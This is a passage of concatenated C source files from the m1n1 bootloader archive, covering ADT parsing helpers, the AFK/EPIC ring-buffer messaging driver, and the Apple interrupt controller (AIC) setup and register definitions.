*)(adt)) + (offset))) #define ADT_PROP(adt, offset) ((const struct adt_property *)(((u8 *)(adt)) + (offset))) #define ADT_SIZE(node) ((node)->size & 0x7fffffff) /* This API is designed to match libfdt's read-only API */ /* Basic sanity check */ int adt_check_header(const void *adt); static inline int adt_get_property_count(const void *adt, int offset) { return ADT_NODE(adt, offset)->property_count; } static inline int adt_first_property_offset(const void *adt, int offset) { UNUSED(adt); return offset + sizeof(struct adt_node_hdr); } static inline int adt_next_property_offset(const void *adt, int offset) { const struct adt_property *prop = ADT_PROP(adt, offset); return offset + sizeof(struct adt_property) + ((prop->size + ADT_ALIGN - 1) & ~(ADT_ALIGN - 1)); } static inline const struct adt_property *adt_get_property_by_offset(const void *adt, int offset) { return ADT_PROP(adt, offset); } static inline int adt_get_child_count(const void *adt, int offset) { return ADT_NODE(adt, offset)->child_count; } int adt_first_child_offset(const void *adt, int offset); int adt_next_sibling_offset(const void *adt, int offset); int adt_subnode_offset_namelen(const void *adt, int parentoffset, const char *name, size_t namelen); int adt_subnode_offset(const void *adt, int parentoffset, const char *name); int adt_path_offset(const void *adt, const char *path); int adt_path_offset_trace(const void *adt, const char *path, int *offsets); const char *adt_get_name(const void *adt, int nodeoffset); const struct adt_property *adt_get_property_namelen(const void *adt, int nodeoffset, const char *name, size_t namelen); const struct adt_property *adt_get_property(const void *adt, int nodeoffset, const char *name); const void *adt_getprop_by_offset(const void *adt, int offset, const char **namep, u32 *lenp); const void *adt_getprop_namelen(const void *adt, int nodeoffset, const char *name, size_t namelen, u32 *lenp); const void *adt_getprop(const void *adt, int nodeoffset, const char *name, u32 *lenp); int adt_setprop(void *adt, int nodeoffset, const char *name, void *value, size_t len); int adt_getprop_copy(const void *adt, int nodeoffset, const char *name, void *out, size_t len); #define ADT_GETPROP(adt, nodeoffset, name, val) \ adt_getprop_copy(adt, nodeoffset, name, (val), sizeof(*(val))) #define ADT_GETPROP_ARRAY(adt, nodeoffset, name, arr) \ adt_getprop_copy(adt, nodeoffset, name, (arr), sizeof(arr)) int adt_get_reg(const void *adt, int *path, const char *prop, int idx, u64 *addr, u64 *size); bool adt_is_compatible(const void *adt, int nodeoffset, const char *compat); #define ADT_FOREACH_CHILD(adt, node) \ for (int _child_count = adt_get_child_count(adt, node); _child_count; _child_count = 0) \ for (node = adt_first_child_offset(adt, node); _child_count--; \ node = adt_next_sibling_offset(adt, node)) #define ADT_FOREACH_PROPERTY(adt, node, prop) \ for (int _prop_count = adt_get_property_count(adt, node), \ _poff = adt_first_property_offset(adt, node); \ _prop_count; _prop_count = 0) \ for (const struct adt_property *prop = ADT_PROP(adt, _poff); _prop_count--; \ prop = ADT_PROP(adt, _poff = adt_next_property_offset(adt, _poff))) /* Common ADT properties */ struct adt_segment_ranges { u64 phys; u64 iova; u64 remap; u32 size; u32 unk; } PACKED; #endif m1n1-1.4.11/src/afk.c000066400000000000000000000541311453754430200140610ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "afk.h" #include "assert.h" #include "malloc.h" #include "string.h" #include "utils.h" #include "dcp/parser.h" struct afk_rb_hdr { u32 bufsz; u32 unk; u32 _pad1[14]; u32 rptr; u32 _pad2[15]; u32 wptr; u32 _pad3[15]; }; struct afk_rb { bool ready; struct afk_rb_hdr *hdr; void *buf; size_t bufsz; }; enum EPICType { TYPE_NOTIFY = 0, TYPE_COMMAND = 3, TYPE_REPLY = 4, TYPE_NOTIFY_ACK = 8, }; enum EPICCategory { CAT_REPORT = 0x00, CAT_NOTIFY = 0x10, CAT_REPLY = 0x20, CAT_COMMAND = 0x30, }; struct afk_qe { u32 magic; u32 size; u32 channel; u32 type; u8 data[]; }; struct epic_hdr { u8 version; u16 seq; u8 _pad; u32 unk; u64 timestamp; } PACKED; struct epic_sub_hdr { u32 length; u8 version; u8 category; u16 type; u64 timestamp; u16 seq; u8 unk; u8 flags; u32 inline_len; } PACKED; struct epic_announce { char name[32]; u8 props[]; } PACKED; struct epic_cmd { u32 retcode; u64 rxbuf; u64 txbuf; u32 rxlen; u32 txlen; u8 rxcookie; u8 txcookie; } PACKED; struct afk_epic { rtkit_dev_t *rtk; afk_epic_ep_t *endpoint[0x10]; }; #define AFK_MAX_CHANNEL 8 struct afk_epic_ep { int ep; afk_epic_t *afk; struct rtkit_buffer buf; u16 tag; struct afk_rb tx; struct afk_rb rx; struct rtkit_buffer txbuf; struct rtkit_buffer rxbuf; bool started; u16 seq; u32 num_channels; const afk_epic_service_ops_t *ops; afk_epic_service_t services[AFK_MAX_CHANNEL]; void (*recv_handler)(afk_epic_ep_t *epic); }; enum RBEP_MSG { RBEP_INIT = 0x80, RBEP_INIT_ACK = 0xa0, RBEP_GETBUF = 0x89, RBEP_GETBUF_ACK = 0xa1, RBEP_INIT_TX = 0x8a, RBEP_INIT_RX = 0x8b, RBEP_START = 0xa3, RBEP_START_ACK = 0x86, RBEP_SEND = 0xa2, RBEP_RECV = 0x85, RBEP_SHUTDOWN = 0xc0, RBEP_SHUTDOWN_ACK = 0xc1, }; #define BLOCK_SHIFT 6 #define QE_MAGIC ' POI' #define RBEP_TYPE GENMASK(63, 48) #define GETBUF_SIZE GENMASK(31, 16) #define GETBUF_TAG GENMASK(15, 0) #define GETBUF_ACK_DVA GENMASK(47, 0) #define INITRB_OFFSET GENMASK(47, 32) #define INITRB_SIZE GENMASK(31, 16) #define INITRB_TAG GENMASK(15, 0) #define SEND_WPTR GENMASK(31, 0) #define EPIC_DATA_READY 13 bool afk_rb_init(afk_epic_ep_t *epic, struct afk_rb *rb, u64 base, u64 size) { rb->hdr = epic->buf.bfr + base; if (rb->hdr->bufsz + sizeof(*rb->hdr) != size) { printf("AFK: ring buffer size mismatch\n"); return false; } rb->buf = rb->hdr + 1; rb->bufsz = rb->hdr->bufsz; rb->ready = true; return true; } static int afk_epic_poll(afk_epic_t *afk, int endpoint, bool block) { int ret; struct rtkit_message msg; while ((ret = rtkit_recv(afk->rtk, &msg)) == 0) if (!block) break; if (ret < 0) { printf("EPIC: rtkit_recv failed!\n"); return ret; } if (ret == 0) { return 0; } if (msg.ep < 0x20 || msg.ep >= 0x30 || !afk->endpoint[msg.ep - 0x20]) { printf("EPIC: received message for unexpected endpoint 0x%02x\n", msg.ep); return 0; } afk_epic_ep_t *epic = afk->endpoint[msg.ep - 0x20]; if (!epic) { printf("EPIC: received message for idle endpoint 0x%02x\n", msg.ep); return 0; } int type = FIELD_GET(RBEP_TYPE, msg.msg); u64 base, size, tag; switch (type) { case RBEP_INIT_ACK: break; case RBEP_GETBUF: size = FIELD_GET(GETBUF_SIZE, msg.msg) << BLOCK_SHIFT; epic->tag = FIELD_GET(GETBUF_TAG, msg.msg); if (!rtkit_alloc_buffer(epic->afk->rtk, &epic->buf, size)) { printf("EPIC: failed to allocate buffer\n"); return -1; } msg.msg = (FIELD_PREP(RBEP_TYPE, RBEP_GETBUF_ACK) | FIELD_PREP(GETBUF_ACK_DVA, epic->buf.dva)); if (!rtkit_send(epic->afk->rtk, &msg)) { printf("EPIC: failed to send buffer address\n"); return -1; } break; case RBEP_INIT_TX: case RBEP_INIT_RX: base = FIELD_GET(INITRB_OFFSET, msg.msg) << BLOCK_SHIFT; size = FIELD_GET(INITRB_SIZE, msg.msg) << BLOCK_SHIFT; tag = FIELD_GET(INITRB_TAG, msg.msg); if (tag != epic->tag) { printf("EPIC: wrong tag (0x%x != 0x%lx)\n", epic->tag, tag); return -1; } struct afk_rb *rb; if (type == RBEP_INIT_RX) rb = &epic->rx; else rb = &epic->tx; if (!afk_rb_init(epic, rb, base, size)) return -1; if (epic->rx.ready && epic->tx.ready) { msg.msg = FIELD_PREP(RBEP_TYPE, RBEP_START); if (!rtkit_send(epic->afk->rtk, &msg)) { printf("EPIC: failed to send start\n"); return -1; } } break; case RBEP_RECV: { dma_rmb(); struct afk_rb *rb = &epic->rx; if (rb->hdr->rptr != rb->hdr->wptr) { if (endpoint == epic->ep) return EPIC_DATA_READY; else if (epic->recv_handler) epic->recv_handler(epic); } break; } case RBEP_START_ACK: epic->started = true; break; case RBEP_SHUTDOWN_ACK: epic->started = false; break; default: printf("EPIC: received unknown message type 0x%x\n", type); return 0; break; } return 0; } static int afk_epic_rx(afk_epic_ep_t *epic, struct afk_qe **qe) { struct afk_rb *rb = &epic->rx; u32 rptr = rb->hdr->rptr; struct afk_qe *hdr = rb->buf + rptr; if (hdr->magic != QE_MAGIC) { printf("EPIC: bad queue entry magic!\n"); return -1; } if (rptr + hdr->size > rb->bufsz) { rptr = 0; hdr = rb->buf + rptr; if (hdr->magic != QE_MAGIC) { printf("EPIC: bad queue entry magic!\n"); return -1; } rb->hdr->rptr = rptr; } *qe = hdr; return 1; } static int afk_epic_tx(afk_epic_ep_t *epic, u32 channel, u32 type, void *data, size_t size) { struct afk_rb *rb = &epic->tx; u32 rptr = rb->hdr->rptr; u32 wptr = rb->hdr->wptr; struct afk_qe *hdr = rb->buf + wptr; size_t buf_advance = ALIGN_UP(sizeof(struct afk_qe) + size, 1 << BLOCK_SHIFT); if (wptr < rptr && buf_advance >= rptr - wptr) goto buffer_full; if (wptr >= rptr) { bool fits_above_wptr = (buf_advance < rb->bufsz - wptr) || (buf_advance == rb->bufsz - wptr && rptr != 0); if (!fits_above_wptr && buf_advance >= rptr) goto buffer_full; } hdr->magic = QE_MAGIC; hdr->channel = channel; hdr->type = type; hdr->size = size; wptr += sizeof(struct afk_qe); if (size > rb->bufsz - wptr) { *(struct afk_qe *)rb->buf = *hdr; hdr = rb->buf; wptr = sizeof(struct afk_qe); } wptr += size; wptr = ALIGN_UP(wptr, 1 << BLOCK_SHIFT); if (wptr >= rb->bufsz) wptr = 0; memcpy(hdr + 1, data, size); dma_mb(); rb->hdr->wptr = wptr; dma_wmb(); struct rtkit_message msg = { epic->ep, FIELD_PREP(RBEP_TYPE, RBEP_SEND) | FIELD_PREP(SEND_WPTR, wptr), }; if (!rtkit_send(epic->afk->rtk, &msg)) { printf("EPIC: failed to send TX WPTR message\n"); return -1; } return 1; buffer_full: printf("EPIC: TX ring buffer is full\n"); return -1; } static void afk_epic_rx_ack(afk_epic_ep_t *epic) { struct afk_rb *rb = &epic->rx; u32 rptr = rb->hdr->rptr; struct afk_qe *hdr = rb->buf + rptr; if (hdr->magic != QE_MAGIC) { printf("EPIC: bad queue entry magic!\n"); } dma_mb(); rptr = ALIGN_UP(rptr + sizeof(*hdr) + hdr->size, 1 << BLOCK_SHIFT); assert(rptr <= rb->bufsz); if (rptr == rb->bufsz) rptr = 0; rb->hdr->rptr = rptr; } int afk_epic_work(afk_epic_t *afk, int endpoint) { int i = 0; while (i < 0x10) { afk_epic_ep_t *cur = afk->endpoint[i++]; if (cur) { struct afk_rb *rb = &cur->rx; if (rb->hdr->rptr != rb->hdr->wptr) { if (cur->ep == endpoint) { return EPIC_DATA_READY; } if (cur->recv_handler) cur->recv_handler(cur); else { struct afk_qe *rmsg; // will net block int ret = afk_epic_rx(cur, &rmsg); if (ret < 0) { return ret; } dprintf("EPIC[0x%02x]: ignoring message type %d\n", cur->ep, rmsg->type); afk_epic_rx_ack(cur); } } } if (rtkit_can_recv(afk->rtk)) { int ret = afk_epic_poll(afk, endpoint, false); if (ret < 0 || ret == EPIC_DATA_READY) return ret; i = 0; continue; } } return 0; } static afk_epic_service_t *afk_epic_find_service(afk_epic_ep_t *epic, u32 channel) { for (u32 i = 0; i < epic->num_channels; i++) if (epic->services[i].enabled && epic->services[i].channel == channel) return &epic->services[i]; return NULL; } struct epic_std_service_ap_call { u32 unk0; u32 unk1; u32 type; u32 len; u32 magic; u8 _unk[48]; } PACKED; static int afk_epic_handle_std_service(afk_epic_ep_t *epic, int channel, u8 category, u16 sub_seq, void *payload, size_t payload_size) { afk_epic_service_t *service = afk_epic_find_service(epic, channel); if (service && service->ops->call && category == CAT_NOTIFY) { struct epic_std_service_ap_call *call = payload; size_t call_size; void *reply; int ret; if (payload_size < sizeof(*call)) return -1; call_size = call->len; if (payload_size < sizeof(*call) + call_size) return -1; if (!service->ops->call) return 0; reply = calloc(payload_size, 1); if (!reply) return -1; ret = service->ops->call(service, call->type, payload + sizeof(*call), call_size, reply + sizeof(*call), call_size); if (ret) { free(reply); return ret; } memcpy(reply, call, sizeof(*call)); size_t tx_size = sizeof(struct epic_hdr) + sizeof(struct epic_sub_hdr) + payload_size; void *msg = calloc(tx_size, 1); struct epic_hdr *hdr = msg; struct epic_sub_hdr *sub = msg + sizeof(struct epic_hdr); hdr->version = 2; hdr->seq = epic->seq++; sub->length = payload_size; sub->version = 4; sub->category = CAT_REPLY; sub->type = SUBTYPE_STD_SERVICE; sub->seq = sub_seq; // service->seq++; sub->flags = 0x08; sub->inline_len = payload_size - 4; memcpy(msg + sizeof(struct epic_hdr) + sizeof(struct epic_sub_hdr), reply, payload_size); afk_epic_tx(epic, channel, TYPE_NOTIFY_ACK, msg, tx_size); free(reply); free(msg); return 0; } dprintf("AFK: channel %d received unhandled standard service message: %x\n", channel, category); return -1; } int afk_epic_command(afk_epic_ep_t *epic, int channel, u16 sub_type, void *txbuf, size_t txsize, void *rxbuf, size_t *rxsize) { struct { struct epic_hdr hdr; struct epic_sub_hdr sub; struct epic_cmd cmd; } PACKED msg; assert(txsize <= epic->txbuf.sz); assert(!rxsize || *rxsize <= epic->rxbuf.sz); memset(&msg, 0, sizeof(msg)); msg.hdr.version = 2; msg.hdr.seq = epic->seq++; msg.sub.length = sizeof(msg.cmd); msg.sub.version = 4; msg.sub.category = CAT_COMMAND; msg.sub.type = sub_type; msg.sub.seq = 0; msg.cmd.txbuf = epic->txbuf.dva; msg.cmd.txlen = txsize; msg.cmd.rxbuf = epic->rxbuf.dva; msg.cmd.rxlen = rxsize ? *rxsize : 0; memcpy(epic->txbuf.bfr, txbuf, txsize); int ret = afk_epic_tx(epic, channel, TYPE_COMMAND, &msg, sizeof msg); if (ret < 0) { printf("EPIC: failed to transmit command\n"); return ret; } struct afk_qe *rmsg; struct epic_cmd *rcmd; while (true) { ret = afk_epic_work(epic->afk, epic->ep); if (ret < 0) return ret; else if (ret != EPIC_DATA_READY) continue; // will not block ret = afk_epic_rx(epic, &rmsg); if (ret < 0) return ret; if (rmsg->type != TYPE_REPLY && rmsg->type != TYPE_NOTIFY) { printf("EPIC: got unexpected message type %d during command\n", rmsg->type); afk_epic_rx_ack(epic); continue; } struct epic_hdr *hdr = (void *)(rmsg + 1); struct epic_sub_hdr *sub = (void *)(hdr + 1); if (sub->category == CAT_NOTIFY && sub->type == SUBTYPE_STD_SERVICE) { void *payload = rmsg->data + sizeof(struct epic_hdr) + sizeof(struct epic_sub_hdr); size_t payload_size = rmsg->size - sizeof(struct epic_hdr) - sizeof(struct epic_sub_hdr); afk_epic_rx_ack(epic); afk_epic_handle_std_service(epic, channel, sub->category, sub->seq, payload, payload_size); continue; } else if (sub->category != CAT_REPLY || sub->type != sub_type) { printf("EPIC: got unexpected message %02x:%04x during command\n", sub->category, sub->type); afk_epic_rx_ack(epic); continue; } rcmd = (void *)(sub + 1); break; } if (rcmd->retcode != 0) { printf("EPIC: IOP returned 0x%x\n", rcmd->retcode); afk_epic_rx_ack(epic); return rcmd->retcode; // should be negative already } if (rxsize) { assert(*rxsize >= rcmd->rxlen); *rxsize = rcmd->rxlen; if (*rxsize && rcmd->rxbuf) memcpy(rxbuf, epic->rxbuf.bfr, *rxsize); } afk_epic_rx_ack(epic); return 0; } static void afk_epic_notify_handler(afk_epic_ep_t *epic) { struct afk_qe *rmsg; // will not block int ret = afk_epic_rx(epic, &rmsg); if (ret < 0) return; if (rmsg->type != TYPE_NOTIFY) { dprintf("EPIC[0x%02x]: got unexpected message type %d in %s\n", epic->ep, rmsg->type, __func__); afk_epic_rx_ack(epic); return; } struct epic_hdr *hdr = (void *)(rmsg + 1); struct epic_sub_hdr *sub = (void *)(hdr + 1); if (sub->category == CAT_NOTIFY && sub->type == SUBTYPE_STD_SERVICE) { void *payload = rmsg->data + sizeof(struct epic_hdr) + sizeof(struct epic_sub_hdr); size_t payload_size = rmsg->size - sizeof(struct epic_hdr) - sizeof(struct epic_sub_hdr); afk_epic_handle_std_service(epic, rmsg->channel, sub->category, sub->seq, payload, payload_size); } else { dprintf("EPIC[0x%02x]: %s: rx: Ch %u, Type:0x%02x sub cat:%x type:%x \n", epic->ep, __func__, rmsg->channel, rmsg->type, sub->category, sub->type); } afk_epic_rx_ack(epic); } afk_epic_ep_t *afk_epic_start_ep(afk_epic_t *afk, int endpoint, const afk_epic_service_ops_t *ops, bool notify) { afk_epic_ep_t *epic = calloc(1, sizeof(afk_epic_ep_t)); if (!epic) return NULL; epic->ep = endpoint; epic->afk = afk; epic->ops = ops; afk->endpoint[endpoint - 0x20] = epic; if (notify) epic->recv_handler = afk_epic_notify_handler; if (!rtkit_start_ep(epic->afk->rtk, endpoint)) { printf("EPIC: failed to start endpoint %d\n", endpoint); goto err; } struct rtkit_message msg = {endpoint, FIELD_PREP(RBEP_TYPE, RBEP_INIT)}; if (!rtkit_send(epic->afk->rtk, &msg)) { printf("EPIC: failed to send init message\n"); goto err; } while (!epic->started) { int ret = afk_epic_poll(epic->afk, endpoint, true); if (ret < 0) break; else if (ret > 0) printf("EPIC: received unexpected message during init\n"); } return epic; err: afk->endpoint[endpoint - 0x20] = NULL; free(epic); return NULL; } int afk_epic_shutdown_ep(afk_epic_ep_t *epic) { struct rtkit_message msg = {epic->ep, FIELD_PREP(RBEP_TYPE, RBEP_SHUTDOWN)}; if (!rtkit_send(epic->afk->rtk, &msg)) { printf("EPIC: failed to send shutdown message\n"); return -1; } while (epic->started) { int ret = afk_epic_poll(epic->afk, epic->ep, true); if (ret < 0) break; } rtkit_free_buffer(epic->afk->rtk, &epic->buf); rtkit_free_buffer(epic->afk->rtk, &epic->rxbuf); rtkit_free_buffer(epic->afk->rtk, &epic->txbuf); epic->afk->endpoint[epic->ep - 0x20] = NULL; free(epic); return 0; } static const afk_epic_service_ops_t *afk_match_service(afk_epic_ep_t *ep, const char *name) { const afk_epic_service_ops_t *ops; if (!name[0]) return NULL; if (!ep->ops) return NULL; for (ops = ep->ops; ops->name[0]; ops++) { if (strcmp(ops->name, name)) continue; return ops; } return NULL; } int afk_epic_start_interface(afk_epic_ep_t *epic, void *intf, int expected, size_t txsize, size_t rxsize) { int services = 0; struct afk_qe *msg; struct epic_announce *announce; /* consume messages for other endpoints, syslog or ioreport might be noisy * at startup */ while (1) { int ret = afk_epic_work(epic->afk, epic->ep); if (ret < 0) return ret; if (ret == EPIC_DATA_READY) break; } u64 timeout = timeout_calculate(500000); while (!timeout_expired(timeout)) { s64 epic_unit = -1; char *epic_name = NULL; char *epic_class = NULL; const char *service_name = NULL; int ret = afk_epic_work(epic->afk, epic->ep); if (ret < 0) return ret; else if (ret != EPIC_DATA_READY) continue; ret = afk_epic_rx(epic, &msg); if (ret < 0) return ret; if (msg->type != TYPE_NOTIFY && msg->type != TYPE_REPLY) { dprintf("AFK[ep:%02x]: got unexpected message type %d during iface start\n", epic->ep, msg->type); afk_epic_rx_ack(epic); continue; } struct epic_hdr *hdr = (void *)(msg + 1); struct epic_sub_hdr *sub = (void *)(hdr + 1); if (sub->category != CAT_REPORT || sub->type != SUBTYPE_ANNOUNCE) { dprintf("AFK[ep:%02x]: got unexpected message %02x:%04x during iface start\n", epic->ep, sub->category, sub->type); afk_epic_rx_ack(epic); continue; } if (epic->num_channels >= AFK_MAX_CHANNEL) { printf("AFK[ep:%02x]: Out of free service for service on channel %d\n", epic->ep, msg->channel); afk_epic_rx_ack(epic); continue; } announce = (void *)(sub + 1); size_t props_size = sub->length - offsetof(struct epic_announce, props); if (props_size > 36) { struct dcp_parse_ctx ctx; int ret = parse(announce->props, props_size, &ctx); if (ret) { printf("AFK[ep:%02x]: Failed to parse service init props (len=%zu) for %s\n", epic->ep, props_size, announce->name); afk_epic_rx_ack(epic); continue; } ret = parse_epic_service_init(&ctx, &epic_name, &epic_class, &epic_unit); if (ret) { printf("AFK[ep:%02x]: failed to extract init props (len=%zu): %d\n", epic->ep, props_size, ret); hexdump(announce->props, props_size); afk_epic_rx_ack(epic); continue; } service_name = epic_class; } else { service_name = announce->name; } const afk_epic_service_ops_t *ops = afk_match_service(epic, service_name); if (!ops) { printf("AFK[ep:%02x]: unable to match service %s on channel %d\n", epic->ep, service_name, msg->channel); afk_epic_rx_ack(epic); continue; } afk_epic_service_t *service = &epic->services[epic->num_channels++]; service->enabled = true; service->ops = ops; service->intf = intf; service->epic = epic; service->channel = msg->channel; service->seq = 0; ops->init(service, epic_name, service_name, epic_unit); dprintf("AFK[ep:%02x]: new service %s on channel %d\n", epic->ep, service_name, msg->channel); free(epic_name); free(epic_class); afk_epic_rx_ack(epic); if (++services >= expected) break; } if (!services) { printf("AFK[ep:%02x]: too many unexpected messages, giving up\n", epic->ep); return -1; } if (!rtkit_alloc_buffer(epic->afk->rtk, &epic->rxbuf, rxsize)) { printf("AFK[ep:%02x]: failed to allocate rx buffer\n", epic->ep); return -1; } if (!rtkit_alloc_buffer(epic->afk->rtk, &epic->txbuf, txsize)) { printf("AFK[ep:%02x]: failed to allocate tx buffer\n", epic->ep); return -1; } dprintf("AFK[ep:%02x]: started interface with %d services\n", epic->ep, services); return 0; } afk_epic_t *afk_epic_init(rtkit_dev_t *rtkit) { afk_epic_t *afk = calloc(sizeof(*afk), 1); if (!afk) return NULL; afk->rtk = rtkit; return afk; } int afk_epic_shutdown(afk_epic_t *afk) { for (int i = 0; i < 0x10; i++) if (afk->endpoint[i]) afk_epic_shutdown_ep(afk->endpoint[i]); free(afk); return 0; } m1n1-1.4.11/src/afk.h000066400000000000000000000027221453754430200140650ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef DCP_AFK_H #define DCP_AFK_H #include "rtkit.h" #include "types.h" enum EPICMessage { SUBTYPE_ANNOUNCE = 0x30, SUBTYPE_STD_SERVICE = 0xc0, }; typedef struct afk_epic afk_epic_t; typedef struct afk_epic_ep afk_epic_ep_t; typedef struct afk_epic_service_ops afk_epic_service_ops_t; typedef struct afk_epic_service { void *cookie; const afk_epic_service_ops_t *ops; afk_epic_ep_t *epic; void *intf; u32 channel; u16 seq; bool enabled; } afk_epic_service_t; typedef struct afk_epic_service_ops { const char name[32]; void (*init)(afk_epic_service_t *service, const char *name, const char *eclass, s64 unit); int (*call)(afk_epic_service_t *service, u32 idx, const void *data, size_t data_size, void *reply, size_t reply_size); } afk_epic_service_ops_t; afk_epic_t *afk_epic_init(rtkit_dev_t *rtkit); int afk_epic_shutdown(afk_epic_t *afk); afk_epic_ep_t *afk_epic_start_ep(afk_epic_t *afk, int endpoint, const afk_epic_service_ops_t *ops, bool notify); int afk_epic_shutdown_ep(afk_epic_ep_t *epic); int afk_epic_work(afk_epic_t *afk, int endpoint); int afk_epic_start_interface(afk_epic_ep_t *epic, void *intf, int expected, size_t insize, size_t outsize); int afk_epic_command(afk_epic_ep_t *epic, int channel, u16 sub_type, void *txbuf, size_t txsize, void *rxbuf, size_t *rxsize); #endif m1n1-1.4.11/src/aic.c000066400000000000000000000106041453754430200140510ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "aic.h" #include "adt.h" #include "aic_regs.h" #include "assert.h" #include "utils.h" #define MASK_REG(x) (4 * ((x) >> 5)) #define MASK_BIT(x) BIT((x)&GENMASK(4, 0)) static struct aic aic1 = { .version = 1, .nr_die = 1, .max_die = 1, .regs = { .reg_size = AIC_REG_SIZE, .event = AIC_EVENT, .tgt_cpu = AIC_TARGET_CPU, .sw_set = AIC_SW_SET, .sw_clr = AIC_SW_CLR, .mask_set = AIC_MASK_SET, .mask_clr = AIC_MASK_CLR, }, }; static struct aic aic2 = { .version = 2, .regs = { .config = AIC2_IRQ_CFG, }, }; struct aic *aic; static int aic2_init(int node) { int ret = ADT_GETPROP(adt, node, "aic-iack-offset", &aic->regs.event); if (ret < 0) { printf("AIC: failed to get property aic-iack-offset\n"); return ret; } u32 info1 = read32(aic->base + AIC2_INFO1); aic->nr_die = FIELD_GET(AIC2_INFO1_LAST_DIE, info1) + 1; aic->nr_irq = FIELD_GET(AIC2_INFO1_NR_IRQ, info1); u32 info3 = read32(aic->base + AIC2_INFO3); aic->max_die = FIELD_GET(AIC2_INFO3_MAX_DIE, info3); aic->max_irq = FIELD_GET(AIC2_INFO3_MAX_IRQ, info3); if (aic->nr_die > AIC_MAX_DIES) { printf("AIC: more dies than supported: %u\n", aic->max_die); return -1; } if (aic->max_irq > AIC_MAX_HW_NUM) { printf("AIC: more IRQs than supported: %u\n", aic->max_irq); return -1; } const u64 start_off = aic->regs.config; u64 off = start_off + sizeof(u32) * aic->max_irq; /* IRQ_CFG */ aic->regs.sw_set = off; off += sizeof(u32) * (aic->max_irq >> 5); /* SW_SET */ aic->regs.sw_clr = off; off += sizeof(u32) * (aic->max_irq >> 5); /* SW_CLR */ aic->regs.mask_set = off; off += sizeof(u32) * (aic->max_irq >> 5); /* MASK_SET */ aic->regs.mask_clr = off; off += sizeof(u32) * (aic->max_irq >> 5); /* MASK_CLR */ off += sizeof(u32) * (aic->max_irq >> 5); /* HW_STATE */ aic->die_stride = off - start_off; aic->regs.reg_size = aic->regs.event + 4; printf("AIC: AIC2 with %u/%u dies, %u/%u IRQs, reg_size:%05lx die_stride:%05x\n", aic->nr_die, aic->max_die, aic->nr_irq, aic->max_irq, aic->regs.reg_size, aic->die_stride); u32 ext_intr_config_len; const u8 *ext_intr_config = adt_getprop(adt, node, "aic-ext-intr-cfg", &ext_intr_config_len); if (ext_intr_config) { printf("AIC: Configuring %d external interrupts\n", ext_intr_config_len / 3); for (u32 i = 0; i < ext_intr_config_len; i += 3) { u8 die = ext_intr_config[i + 1] >> 4; u16 irq = ext_intr_config[i] | ((ext_intr_config[i + 1] & 0xf) << 8); u8 target = ext_intr_config[i + 2]; assert(die < aic->nr_die); assert(irq < aic->nr_irq); mask32(aic->base + aic->regs.config + die * aic->die_stride + 4 * irq, AIC2_IRQ_CFG_TARGET, FIELD_PREP(AIC2_IRQ_CFG_TARGET, target)); } } return 0; } void aic_init(void) { int path[8]; int node = adt_path_offset_trace(adt, "/arm-io/aic", path); if (node < 0) { printf("AIC node not found!\n"); return; } if (adt_is_compatible(adt, node, "aic,1")) { aic = &aic1; } else if (adt_is_compatible(adt, node, "aic,2")) { aic = &aic2; } else { printf("AIC: Error: Unsupported version\n"); return; } if (adt_get_reg(adt, path, "reg", 0, &aic->base, NULL)) { printf("Failed to get AIC reg property!\n"); return; } if (aic->version == 1) { printf("AIC: Version 1 @ 0x%lx\n", aic->base); aic->nr_irq = FIELD_GET(AIC_INFO_NR_HW, read32(aic->base + AIC_INFO)); aic->max_irq = AIC1_MAX_IRQ; } else if (aic->version == 2) { printf("AIC: Version 2 @ 0x%lx\n", aic->base); int ret = aic2_init(node); if (ret < 0) aic = NULL; } } void aic_set_sw(int irq, bool active) { u32 die = irq / aic->max_irq; irq = irq % aic->max_irq; if (active) write32(aic->base + aic->regs.sw_set + die * aic->die_stride + MASK_REG(irq), MASK_BIT(irq)); else write32(aic->base + aic->regs.sw_clr + die * aic->die_stride + MASK_REG(irq), MASK_BIT(irq)); } uint32_t aic_ack(void) { return read32(aic->base + aic->regs.event); } m1n1-1.4.11/src/aic.h000066400000000000000000000011531453754430200140550ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef AIC_H #define AIC_H #include "types.h" #define AIC_MAX_DIES 4 struct aic_regs { uint64_t reg_size; uint64_t event; uint64_t tgt_cpu; uint64_t config; uint64_t sw_set; uint64_t sw_clr; uint64_t mask_set; uint64_t mask_clr; }; struct aic { uint64_t base; uint32_t version; uint32_t nr_irq; uint32_t nr_die; uint32_t max_irq; uint32_t max_die; uint32_t die_stride; struct aic_regs regs; }; extern struct aic *aic; void aic_init(void); void aic_set_sw(int irq, bool active); uint32_t aic_ack(void); #endif m1n1-1.4.11/src/aic_regs.h000066400000000000000000000027461453754430200151060ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #define AIC_REG_SIZE 0x8000 #define AIC_INFO 0x0004 #define AIC_WHOAMI 0x2000 #define AIC_EVENT 0x2004 #define AIC_IPI_SEND 0x2008 #define AIC_IPI_ACK 0x200c #define AIC_IPI_MASK_SET 0x2024 #define AIC_IPI_MASK_CLR 0x2028 #define AIC_TARGET_CPU 0x3000 #define AIC_SW_SET 0x4000 #define AIC_SW_CLR 0x4080 #define AIC_MASK_SET 0x4100 #define AIC_MASK_CLR 0x4180 #define AIC_CPU_IPI_SET(cpu) (0x5008 + ((cpu) << 7)) #define AIC_CPU_IPI_CLR(cpu) (0x500c + ((cpu) << 7)) #define AIC_CPU_IPI_MASK_SET(cpu) (0x5024 + ((cpu) << 7)) #define AIC_CPU_IPI_MASK_CLR(cpu) (0x5028 + ((cpu) << 7)) #define AIC2_INFO1 0x0004 #define AIC2_INFO2 0x0008 #define AIC2_INFO3 0x000c #define AIC2_LATENCY 0x0204 #define AIC2_IRQ_CFG 0x2000 #define AIC2_IRQ_CFG_TARGET GENMASK(3, 0) #define AIC_INFO_NR_HW GENMASK(15, 0) #define AIC2_INFO1_NR_IRQ GENMASK(15, 0) #define AIC2_INFO1_LAST_DIE GENMASK(27, 24) #define AIC2_INFO3_MAX_IRQ GENMASK(15, 0) #define AIC2_INFO3_MAX_DIE GENMASK(27, 24) #define AIC_EVENT_DIE GENMASK(31, 24) #define AIC_EVENT_TYPE GENMASK(23, 16) #define AIC_EVENT_NUM GENMASK(15, 0) #define AIC_EVENT_TYPE_HW 1 #define AIC_EVENT_TYPE_IPI 4 #define AIC_EVENT_IPI_OTHER 1 #define AIC_EVENT_IPI_SELF 2 #define 